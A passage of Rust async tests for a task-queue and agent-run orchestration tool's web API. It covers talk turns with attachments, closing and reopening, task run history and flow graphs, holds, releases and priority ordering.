11353    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
11354        let f = Fixture::start().await;
11355        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
11356
11357        let uploaded = f
11358            .post_bytes(
11359                &format!("/api/talks/{id}/attachments"),
11360                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
11361                PNG_BYTES,
11362            )
11363            .await;
11364        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
11365        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
11366
11367        let res = f
11368            .post(
11369                &format!("/api/talks/{id}/say"),
11370                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
11371            )
11372            .await;
11373        assert_eq!(res.status, 202, "{}", res.body);
11374        let queued = res.json();
11375        let turns = queued["turns"].as_array().expect("turns array");
11376        assert_eq!(
11377            turns.len(),
11378            1,
11379            "an empty body with an attachment is still a turn: {queued}"
11380        );
11381        assert_eq!(turns[0]["who"], "operator");
11382        assert_eq!(turns[0]["body"], "");
11383        let atts = turns[0]["attachments"]
11384            .as_array()
11385            .expect("attachments array");
11386        assert_eq!(atts.len(), 1);
11387        assert_eq!(atts[0]["id"], att_id);
11388        assert_eq!(atts[0]["mime"], "image/png");
11389
11390        // Not only in the response: `record` flushes to disk before the
11391        // agent's own turn is even spawned.
11392        let on_disk = f.talks().get(&id).expect("get");
11393        assert_eq!(on_disk.turns[0].attachments.len(), 1);
11394        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
11395    }
11396
11397    #[tokio::test]
11398    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
11399        let f = Fixture::start().await;
11400        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
11401
11402        let res = f
11403            .post(
11404                &format!("/api/talks/{id}/say"),
11405                Some(&format!(
11406                    r#"{{"text":"hi","attachments":["{}"]}}"#,
11407                    "a".repeat(32)
11408                )),
11409            )
11410            .await;
11411        assert!((400..500).contains(&res.status), "{}", res.body);
11412        assert!(res.body.contains("unknown attachment"), "{}", res.body);
11413
11414        let on_disk = f.talks().get(&id).expect("get");
11415        assert!(
11416            on_disk.turns.is_empty(),
11417            "a rejected attachment id must not partially record the turn: {:?}",
11418            on_disk.turns
11419        );
11420    }
11421
11422    #[tokio::test]
11423    async fn talk_close_makes_the_talk_refuse_further_turns() {
11424        let f = Fixture::start().await;
11425        let id = seed_talk(&f, "20260904-014455-cd34", "open");
11426
11427        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11428        assert_eq!(closed.status, 200, "{}", closed.body);
11429        assert_eq!(closed.json()["status"], "closed");
11430
11431        // Idempotent: closing an already-closed talk is not an error.
11432        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
11433        assert_eq!(closed_again.status, 200);
11434        assert_eq!(closed_again.json()["status"], "closed");
11435
11436        let said = f
11437            .post(
11438                &format!("/api/talks/{id}/say"),
11439                Some(r#"{"text":"too late"}"#),
11440            )
11441            .await;
11442        assert_eq!(said.status, 409, "{}", said.body);
11443    }
11444
11445    #[tokio::test]
11446    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
11447        let (_tmp, _repo, f) = talk_fixture().await;
11448        let id = f.post("/api/talks", None).await.json()["id"]
11449            .as_str()
11450            .expect("id")
11451            .to_owned();
11452        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
11453        assert_eq!(closed.status, 200, "{}", closed.body);
11454
11455        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11456        assert_eq!(reopened.status, 200, "{}", reopened.body);
11457        assert_eq!(reopened.json()["status"], "open");
11458
11459        // Idempotent: reopening an already-open talk is not an error.
11460        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
11461        assert_eq!(reopened_again.status, 200);
11462        assert_eq!(reopened_again.json()["status"], "open");
11463
11464        let said = f
11465            .post(
11466                &format!("/api/talks/{id}/say"),
11467                Some(r#"{"text":"still there?"}"#),
11468            )
11469            .await;
11470        assert_eq!(
11471            said.status, 202,
11472            "a reopened talk accepts turns again: {}",
11473            said.body
11474        );
11475    }
11476
11477    #[tokio::test]
11478    async fn talk_reopen_on_an_unknown_id_is_404() {
11479        let f = Fixture::start().await;
11480        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
11481        assert_eq!(res.status, 404, "{}", res.body);
11482    }
11483
11484    #[tokio::test]
11485    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
11486        let f = Fixture::start().await;
11487        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
11488
11489        let deleted = f.delete(&format!("/api/talks/{id}")).await;
11490        assert_eq!(deleted.status, 204, "{}", deleted.body);
11491
11492        let after = f.get(&format!("/api/talks/{id}")).await;
11493        assert_eq!(after.status, 404, "{}", after.body);
11494
11495        let listed = f.get("/api/talks").await.json();
11496        assert!(
11497            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
11498            "a deleted talk must not linger in the list: {listed}"
11499        );
11500    }
11501
11502    #[tokio::test]
11503    async fn talk_delete_on_an_unknown_id_is_404() {
11504        let f = Fixture::start().await;
11505        let res = f.delete("/api/talks/nonexistent-id").await;
11506        assert_eq!(res.status, 404, "{}", res.body);
11507    }
11508
11509    /// A task's page lists every run it ever had, in order, and says what kind
11510    /// of attempt each was - including a resume, which re-pushes the same run
11511    /// id, and a run whose record this build cannot read.
11512    #[tokio::test]
11513    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
11514        let f = Fixture::start().await;
11515        let (a, b, gone) = (
11516            "20260902-140501-aaaa",
11517            "20260902-140502-bbbb",
11518            "20260902-140503-cccc",
11519        );
11520        write_run(&f.runs(), a, RunStatus::Stalled);
11521        let mut review = RunState::new(
11522            PathBuf::from("/repo/magi"),
11523            "main".to_owned(),
11524            "0123456789abcdef".to_owned(),
11525            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
11526                .to_owned(),
11527            Config::default(),
11528        );
11529        review.id = b.to_owned();
11530        review.status = RunStatus::Merged;
11531        write_state(&f.runs(), &review);
11532
11533        let mut task = Task::new(
11534            "retry".to_owned(),
11535            "Do the thing".to_owned(),
11536            PathBuf::from("/repo/magi"),
11537            Source::Human,
11538        );
11539        task.start(a.to_owned());
11540        task.stall("quota");
11541        task.start(a.to_owned());
11542        task.start(b.to_owned());
11543        task.start(gone.to_owned());
11544        f.queue().put(&mut task).expect("file the task");
11545
11546        let res = f.get(&format!("/api/queue/{}", task.id)).await;
11547        assert_eq!(res.status, 200, "{}", res.body);
11548        let v = res.json();
11549        let h = v["history"].as_array().expect("history");
11550        assert_eq!(h.len(), 4, "{v}");
11551        assert_eq!(h[0]["kind"], "competition");
11552        assert_eq!(h[0]["status"], "stalled");
11553        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
11554        assert_eq!(h[1]["kind"], "resume", "{v}");
11555        assert!(
11556            h[0]["outcome"]
11557                .as_str()
11558                .unwrap()
11559                .contains("unknown. Pass #2"),
11560            "an earlier pass of a resumed run must not claim the final outcome: {v}"
11561        );
11562        assert!(
11563            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
11564            "{v}"
11565        );
11566        assert!(
11567            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
11568            "an unrecorded cause must not be narrated as an operator park: {v}"
11569        );
11570        assert_eq!(h[2]["kind"], "review");
11571        assert!(
11572            h[2]["description"]
11573                .as_str()
11574                .unwrap()
11575                .contains("magi/aaaa/A")
11576        );
11577        assert_eq!(h[2]["status"], "merged");
11578        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
11579        assert_eq!(v["runs_unreadable"], 1);
11580        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
11581        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
11582        assert_eq!(nodes[4]["note"], "unreadable");
11583        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
11584        assert_eq!(v["instruction"], "Do the thing");
11585        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
11586
11587        // The run's own page links back to the task.
11588        let run = f.get(&format!("/api/runs/{a}")).await.json();
11589        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
11590
11591        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
11592    }
11593
11594    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
11595        let mut s = RunState::new(
11596            PathBuf::from("/repo/magi"),
11597            "main".to_owned(),
11598            "0123456789abcdef".to_owned(),
11599            "Do it".to_owned(),
11600            Config::default(),
11601        );
11602        s.status = status;
11603        edit(&mut s);
11604        s
11605    }
11606
11607    fn flow_task(runs: &[&str]) -> Task {
11608        let mut t = Task::new(
11609            "t".to_owned(),
11610            "Do it".to_owned(),
11611            PathBuf::from("/repo/magi"),
11612            Source::Human,
11613        );
11614        for r in runs {
11615            t.start((*r).to_owned());
11616        }
11617        t
11618    }
11619
11620    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
11621        let h = task_history(task, |id| {
11622            states
11623                .iter()
11624                .find(|(i, _)| *i == id)
11625                .and_then(|(_, s)| s.clone())
11626        });
11627        task_flow(task, &h, 5, None)
11628    }
11629
11630    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
11631        crate::queue::FollowUp {
11632            run: "20260901-000000-aaaa".to_owned(),
11633            origin_task: origin_task.map(str::to_owned),
11634            pr: "https://example.com/o/r/pull/1".to_owned(),
11635            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
11636                .map(str::to_owned)
11637                .to_vec(),
11638            generation: 1,
11639        }
11640    }
11641
11642    fn parent_task() -> Task {
11643        let mut p = flow_task(&[]);
11644        p.title = "Parent title".to_owned();
11645        p.status = TaskStatus::Done;
11646        p
11647    }
11648
11649    #[test]
11650    fn flow_opens_with_the_parent_task_of_a_followup() {
11651        let p = parent_task();
11652        let pid = p.id.clone();
11653        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11654        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11655        let n = &f.nodes[0];
11656        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11657        assert_eq!(
11658            n.label,
11659            format!("Follow-up of {}", crate::queue::short(&pid))
11660        );
11661        assert_eq!(n.detail.as_deref(), Some("Parent title"));
11662        assert_eq!(n.status, Some("done"));
11663        assert_eq!(n.status_of, "task");
11664        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11665        assert_eq!(f.nodes[1].key, "start");
11666        assert_eq!(f.edges[0].from, "origin");
11667        assert_eq!(
11668            f.edges[0].label,
11669            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11670        );
11671    }
11672
11673    #[test]
11674    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11675        let o = followup_origin(
11676            &fu(Some("gone")),
11677            |_| None,
11678            |_| {
11679                Some(RunState::new(
11680                    std::path::PathBuf::from("."),
11681                    "main".to_owned(),
11682                    "0".to_owned(),
11683                    "t".to_owned(),
11684                    crate::config::Config::default(),
11685                ))
11686            },
11687        );
11688        assert!(o.parent.is_none());
11689        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11690        let n = &f.nodes[0];
11691        assert_eq!(n.status_of, "run");
11692        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11693        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11694    }
11695
11696    #[test]
11697    fn flow_followup_with_nothing_readable_has_no_link() {
11698        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11699        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11700        let n = &f.nodes[0];
11701        assert_eq!(n.href, None);
11702        assert_eq!(n.note, Some("unreadable"));
11703        assert!(!n.readable);
11704    }
11705
11706    #[test]
11707    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11708        let o = followup_origin(&fu(None), |_| None, |_| None);
11709        let mut t = flow_task(&[]);
11710        t.origin_chat = Some("c1".to_owned());
11711        let f = task_flow(&t, &[], 5, Some(&o));
11712        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11713        t.source = Source::Agent {
11714            run: "c1".to_owned(),
11715            node: crate::queue::CHAT_NODE.to_owned(),
11716        };
11717        let f = task_flow(&t, &[], 5, Some(&o));
11718        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11719        assert_eq!(
11720            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11721            ("chat", "origin")
11722        );
11723    }
11724
11725    #[test]
11726    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11727        let mut p = parent_task();
11728        p.id = "a b/c".to_owned();
11729        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11730        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11731    }
11732
11733    #[test]
11734    fn flow_opens_with_the_chat_that_queued_the_task() {
11735        let mut t = flow_task(&[]);
11736        t.source = Source::Agent {
11737            run: "a b/c".to_owned(),
11738            node: crate::queue::CHAT_NODE.to_owned(),
11739        };
11740        let f = flow_for(&t, &[]);
11741        assert_eq!(f.nodes[0].key, "chat");
11742        assert_eq!(f.nodes[0].kind, "chat");
11743        assert_eq!(
11744            f.nodes[0].label,
11745            format!("Chat {}", crate::queue::short("a b/c"))
11746        );
11747        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11748        assert_eq!(f.nodes[1].key, "start");
11749        assert_eq!(
11750            f.edges[0],
11751            FlowEdge {
11752                from: "chat".to_owned(),
11753                to: "start".to_owned(),
11754                label: "queued from chat".to_owned(),
11755                attempt: AttemptCost::None,
11756            }
11757        );
11758    }
11759
11760    #[test]
11761    fn flow_has_no_chat_box_for_other_sources() {
11762        for source in [
11763            Source::Human,
11764            Source::Issue {
11765                number: 3,
11766                repo: "o/r".to_owned(),
11767            },
11768            Source::Agent {
11769                run: "20260904-014455-ab12".to_owned(),
11770                node: "implement".to_owned(),
11771            },
11772        ] {
11773            let mut t = flow_task(&[]);
11774            t.source = source;
11775            let f = flow_for(&t, &[]);
11776            assert_eq!(f.nodes[0].key, "start");
11777            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11778            assert!(f.edges.iter().all(|e| e.from != "chat"));
11779        }
11780    }
11781
11782    const FA: &str = "20260902-140501-aaaa";
11783    const FB: &str = "20260902-140502-bbbb";
11784
11785    #[test]
11786    fn flow_follows_blocked_retry_merged_to_done() {
11787        let mut t = flow_task(&[FA, FB]);
11788        t.status = TaskStatus::Done;
11789        let f = flow_for(
11790            &t,
11791            &[
11792                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11793                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11794            ],
11795        );
11796        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11797        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11798        assert_eq!(f.edges.len(), 3);
11799        assert_eq!(f.edges[0].label, "claimed");
11800        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11801        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11802        assert_eq!(f.edges[2].label, "merged \u{2192} done");
11803        assert_eq!(
11804            f.nodes[2].href.as_deref(),
11805            Some("#/runs/20260902-140502-bbbb")
11806        );
11807        assert!(f.nodes[2].decided);
11808    }
11809
11810    #[test]
11811    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11812        let quota = || {
11813            flow_run(RunStatus::Stalled, |s| {
11814                s.quota.push(crate::run::QuotaLoss {
11815                    seat: "judge-1".to_owned(),
11816                    node: "judge".to_owned(),
11817                    at: Timestamp::now(),
11818                    reset: None,
11819                })
11820            })
11821        };
11822        let mut t = flow_task(&[FA, FA]);
11823        t.status = TaskStatus::Queued;
11824        let f = flow_for(&t, &[(FA, Some(quota()))]);
11825        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11826        assert_eq!(f.nodes[1].note, Some("interrupted"));
11827        assert_eq!(
11828            f.nodes[1].status, None,
11829            "no outcome copied onto an earlier pass"
11830        );
11831        assert_eq!(
11832            f.edges[1].attempt,
11833            AttemptCost::Unknown,
11834            "a resume does not prove the earlier pass was refunded"
11835        );
11836        assert!(f.edges[1].label.contains("resume the same run"));
11837        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11838        assert_eq!(
11839            f.edges[2].label,
11840            "stalled after a resume, refund unknown \u{2192} queued"
11841        );
11842        assert!(!f.nodes[2].decided, "a stall is not a decision");
11843        assert_eq!(f.nodes[2].note, Some("no verdict"));
11844    }
11845
11846    #[test]
11847    fn flow_single_pass_quota_stall_is_refunded() {
11848        let t = flow_task(&[FA]);
11849        let f = flow_for(
11850            &t,
11851            &[(
11852                FA,
11853                Some(flow_run(RunStatus::Stalled, |s| {
11854                    s.quota.push(crate::run::QuotaLoss {
11855                        seat: "judge-1".to_owned(),
11856                        node: "judge".to_owned(),
11857                        at: Timestamp::now(),
11858                        reset: None,
11859                    })
11860                })),
11861            )],
11862        );
11863        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11864    }
11865
11866    #[test]
11867    fn flow_parked_refunds_and_stall_without_quota_spends() {
11868        let mut t = flow_task(&[FA]);
11869        t.status = TaskStatus::Queued;
11870        let f = flow_for(
11871            &t,
11872            &[(
11873                FA,
11874                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11875            )],
11876        );
11877        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11878        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11879        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11880        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11881        assert!(!f.nodes[1].decided);
11882    }
11883
11884    #[test]
11885    fn flow_keeps_an_unreadable_run_as_its_own_node() {
11886        let t = flow_task(&[FA, FB]);
11887        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11888        assert_eq!(f.nodes[1].note, Some("unreadable"));
11889        assert!(!f.nodes[1].readable);
11890        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11891        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11892    }
11893
11894    #[test]
11895    fn flow_names_the_branch_of_a_review_only_run() {
11896        let t = flow_task(&[FA]);
11897        let f = flow_for(
11898            &t,
11899            &[(
11900                FA,
11901                Some(flow_run(RunStatus::Merged, |s| {
11902                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11903                })),
11904            )],
11905        );
11906        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11907        assert_eq!(
11908            f.nodes[1].detail.as_deref(),
11909            Some("review-only run of branch magi/x/A")
11910        );
11911    }
11912
11913    #[test]
11914    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11915        let mut t = flow_task(&[FA]);
11916        t.status = TaskStatus::Held;
11917        let pr = crate::run::PrRecord {
11918            url: "https://example.test/pr/1".to_owned(),
11919            number: 1,
11920            state: "open".to_owned(),
11921            checks: "green".to_owned(),
11922            round: 0,
11923            rounds: 3,
11924            red_at_merge: Vec::new(),
11925        };
11926        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11927        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11928        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11929        t.status = TaskStatus::Done;
11930        let f = flow_for(&t, &[(FA, Some(blocked))]);
11931        assert_eq!(f.edges[1].label, "closed by hand: task is done");
11932    }
11933
11934    #[test]
11935    fn flow_with_no_runs_goes_from_queued_to_queued() {
11936        let t = flow_task(&[]);
11937        let f = flow_for(&t, &[]);
11938        assert_eq!(f.nodes.len(), 2);
11939        assert_eq!(f.edges.len(), 1);
11940        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11941        assert_eq!(f.edges[0].attempt, AttemptCost::None);
11942    }
11943
11944    /// A run parked mid-flight keeps a non-terminal status; the page must
11945    /// still say why it stopped and that the attempt came back.
11946    #[test]
11947    fn a_parked_non_terminal_run_is_explained_as_parked() {
11948        let mut s = RunState::new(
11949            PathBuf::from("/repo/magi"),
11950            "main".to_owned(),
11951            "0123456789abcdef".to_owned(),
11952            "Do it".to_owned(),
11953            Config::default(),
11954        );
11955        s.status = RunStatus::Implementing;
11956        s.parked = true;
11957        let task = Task::new(
11958            "t".to_owned(),
11959            "Do it".to_owned(),
11960            PathBuf::from("/repo/magi"),
11961            Source::Human,
11962        );
11963        let v = task_run_view(
11964            "20260902-140501-aaaa",
11965            Some(&s),
11966            RunSlot {
11967                n: 1,
11968                resumed: false,
11969                resumed_later: None,
11970                prior: None,
11971                last: true,
11972            },
11973            &task,
11974        );
11975        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11976    }
11977
11978    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11979        let mut s = flow_run(RunStatus::Implementing, edit);
11980        s.parked = false;
11981        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11982        task_run_view(
11983            "20260902-140501-aaaa",
11984            Some(&s),
11985            RunSlot {
11986                n: 1,
11987                resumed: false,
11988                resumed_later: Some(2),
11989                prior: None,
11990                last: false,
11991            },
11992            &task,
11993        )
11994    }
11995
11996    #[test]
11997    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11998        let v = earlier_pass_view(|_| {});
11999        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
12000        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12001        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
12002        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
12003        assert_eq!(v.exit, RunExit::Interrupted);
12004        assert_eq!(v.attempt, AttemptCost::Unknown);
12005    }
12006
12007    #[test]
12008    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
12009        let v = earlier_pass_view(|s| {
12010            s.quota.push(crate::run::QuotaLoss {
12011                seat: "judge-1".to_owned(),
12012                node: "judge".to_owned(),
12013                at: Timestamp::now(),
12014                reset: None,
12015            });
12016        });
12017        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
12018        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
12019        assert_eq!(v.attempt, AttemptCost::Unknown);
12020    }
12021
12022    #[test]
12023    fn the_current_pass_states_its_recorded_cause_and_cost() {
12024        let slot = || RunSlot {
12025            n: 1,
12026            resumed: false,
12027            resumed_later: None,
12028            prior: None,
12029            last: true,
12030        };
12031        let task = flow_task(&["20260902-140501-aaaa"]);
12032        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
12033        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
12034        assert_eq!(
12035            (v.exit, v.attempt),
12036            (RunExit::Parked, AttemptCost::Refunded)
12037        );
12038        let spent = flow_run(RunStatus::Blocked, |_| {});
12039        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
12040        assert_eq!(v.attempt, AttemptCost::Spent);
12041        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
12042    }
12043
12044    #[tokio::test]
12045    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
12046        let f = Fixture::start().await;
12047        let queue = f.queue();
12048        let mut task = Task::new(
12049            "spent".to_owned(),
12050            "Try again".to_owned(),
12051            PathBuf::from("/repo/magi"),
12052            Source::Human,
12053        );
12054        task.start("20260902-140502-bbbb".to_owned());
12055        task.fail("agent gave up", 9);
12056        queue.put(&mut task).expect("file the task");
12057
12058        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12059        assert_eq!(held.status, 200);
12060        assert_eq!(held.json()["status_str"], "held");
12061
12062        let released = f
12063            .post(&format!("/api/queue/{}/release", task.id), None)
12064            .await;
12065        assert_eq!(released.status, 200);
12066        assert_eq!(released.json()["status_str"], "queued");
12067        assert_eq!(
12068            released.json()["attempts"],
12069            0,
12070            "release is a real second chance, not an instant re-hold"
12071        );
12072        assert_eq!(
12073            queue.get(&task.id).expect("reload").status,
12074            TaskStatus::Queued,
12075            "the change is on disk, not only in the reply"
12076        );
12077        assert!(
12078            !f.home
12079                .path()
12080                .join("queue")
12081                .join(format!("{}.lock", task.id))
12082                .exists(),
12083            "the claim the mutation took is released again"
12084        );
12085    }
12086
12087    #[tokio::test]
12088    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
12089        let f = Fixture::start().await;
12090        let queue = f.queue();
12091        let mut task = Task::new(
12092            "busy".to_owned(),
12093            "Running right now".to_owned(),
12094            PathBuf::from("/repo/magi"),
12095            Source::Human,
12096        );
12097        queue.put(&mut task).expect("file the task");
12098        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
12099
12100        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
12101
12102        assert_eq!(res.status, 409);
12103        assert_eq!(
12104            queue.get(&task.id).expect("reload").status,
12105            TaskStatus::Queued,
12106            "the refused hold changed nothing"
12107        );
12108    }
12109
12110    #[tokio::test]
12111    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
12112        let f = Fixture::start().await;
12113        let queue = f.queue();
12114        let mut task = Task::new(
12115            "waiting on the migration".to_owned(),
12116            "Do the thing".to_owned(),
12117            PathBuf::from("/repo/magi"),
12118            Source::Human,
12119        );
12120        queue.put(&mut task).expect("file the task");
12121
12122        let held = f
12123            .post(
12124                &format!("/api/queue/{}/hold", task.id),
12125                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
12126            )
12127            .await;
12128        assert_eq!(held.status, 200, "{}", held.body);
12129        assert_eq!(held.json()["status_str"], "held");
12130        assert_eq!(
12131            held.json()["hold_reason"],
12132            "waiting for 20260101-000000-aaaa to land"
12133        );
12134
12135        let listed = f.get("/api/queue").await.json();
12136        assert_eq!(
12137            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
12138            "the card reads the reason off the same list route"
12139        );
12140
12141        // A hold with no body at all must keep working - most holds have no
12142        // reason to give.
12143        let mut plain = Task::new(
12144            "no reason given".to_owned(),
12145            "Do another thing".to_owned(),
12146            PathBuf::from("/repo/magi"),
12147            Source::Human,
12148        );
12149        queue.put(&mut plain).expect("file the task");
12150        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
12151        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
12152        assert!(held_plain.json()["hold_reason"].is_null());
12153
12154        let released = f
12155            .post(&format!("/api/queue/{}/release", task.id), None)
12156            .await;
12157        assert_eq!(released.status, 200);
12158        assert!(
12159            released.json()["hold_reason"].is_null(),
12160            "a release must clear the reason so the next hold does not inherit it"
12161        );
12162    }
12163
12164    #[tokio::test]
12165    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
12166        let f = Fixture::start().await;
12167        let queue = f.queue();
12168        let mut older = Task::new(
12169            "filed first".to_owned(),
12170            "x".to_owned(),
12171            PathBuf::from("/repo/magi"),
12172            Source::Human,
12173        );
12174        older.id = "20260101-000001-aaaa".to_owned();
12175        let mut newer = Task::new(
12176            "filed second".to_owned(),
12177            "x".to_owned(),
12178            PathBuf::from("/repo/magi"),
12179            Source::Human,
12180        );
12181        newer.id = "20260101-000002-bbbb".to_owned();
12182        queue.put(&mut older).expect("file older");
12183        queue.put(&mut newer).expect("file newer");
12184
12185        // Equal priority: the newer task leads, the same order the old
12186        // newest-first `list()` already gave every equal-priority queue.
12187        let before = f.get("/api/queue").await.json();
12188        assert_eq!(before[0]["id"], newer.id);
12189        assert_eq!(before[1]["id"], older.id);
12190
12191        // Raising the *older* task is the meaningful case: it can only lead
12192        // now because its priority says so, not because it happens to be
12193        // newest.
12194        let raised = f
12195            .post(
12196                &format!("/api/queue/{}/priority", older.id),
12197                Some(r#"{"priority":10}"#),
12198            )
12199            .await;
12200        assert_eq!(raised.status, 200, "{}", raised.body);
12201        assert_eq!(raised.json()["priority"], 10);
12202
12203        let after = f.get("/api/queue").await.json();
12204        let names: Vec<&str> = after
12205            .as_array()
12206            .unwrap()
12207            .iter()
12208            .map(|t| t["id"].as_str().unwrap())
12209            .collect();
12210        // Highest priority first, which is the order next_runnable and
12211        // `magi task list` both use - GET /api/queue must agree with it
12212        // immediately, not just once the loop claims the task.
12213        assert_eq!(names[0], older.id, "the raised task now sorts first");
12214    }
12215
12216    #[tokio::test]
12217    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
12218        let dir = TempDir::new().unwrap();
12219        let repo = dir.path().join("repo");
12220        std::fs::create_dir(&repo).unwrap();
12221        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
12222        let q = Queue::at(dir.path().join("queue"));
12223        let ui = Arc::new(Ui::new(
12224            q.clone(),
12225            Questions::at(dir.path().join("questions")),
12226            Talks::at(dir.path().join("talks")),
12227            dir.path().join("runs"),
12228            dir.path().to_path_buf(),
12229            repo.clone(),
12230        ));
12231        let mut t = Task::new(
12232            "seats".into(),
12233            "keep instruction".into(),
12234            repo,
12235            Source::Human,
12236        );
12237        t.runs.push("prior-run".into());
12238        t.hold_manual(Some("waiting".into()));
12239        q.put(&mut t).unwrap();
12240        let change = |count| {
12241            queue_implementers(
12242                State(ui.clone()),
12243                Path(t.id.clone()),
12244                Ok(Json(ImplementersBody {
12245                    implementers: count,
12246                })),
12247            )
12248        };
12249        for count in [2, 1, 2] {
12250            let response = change(count).await.unwrap();
12251            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
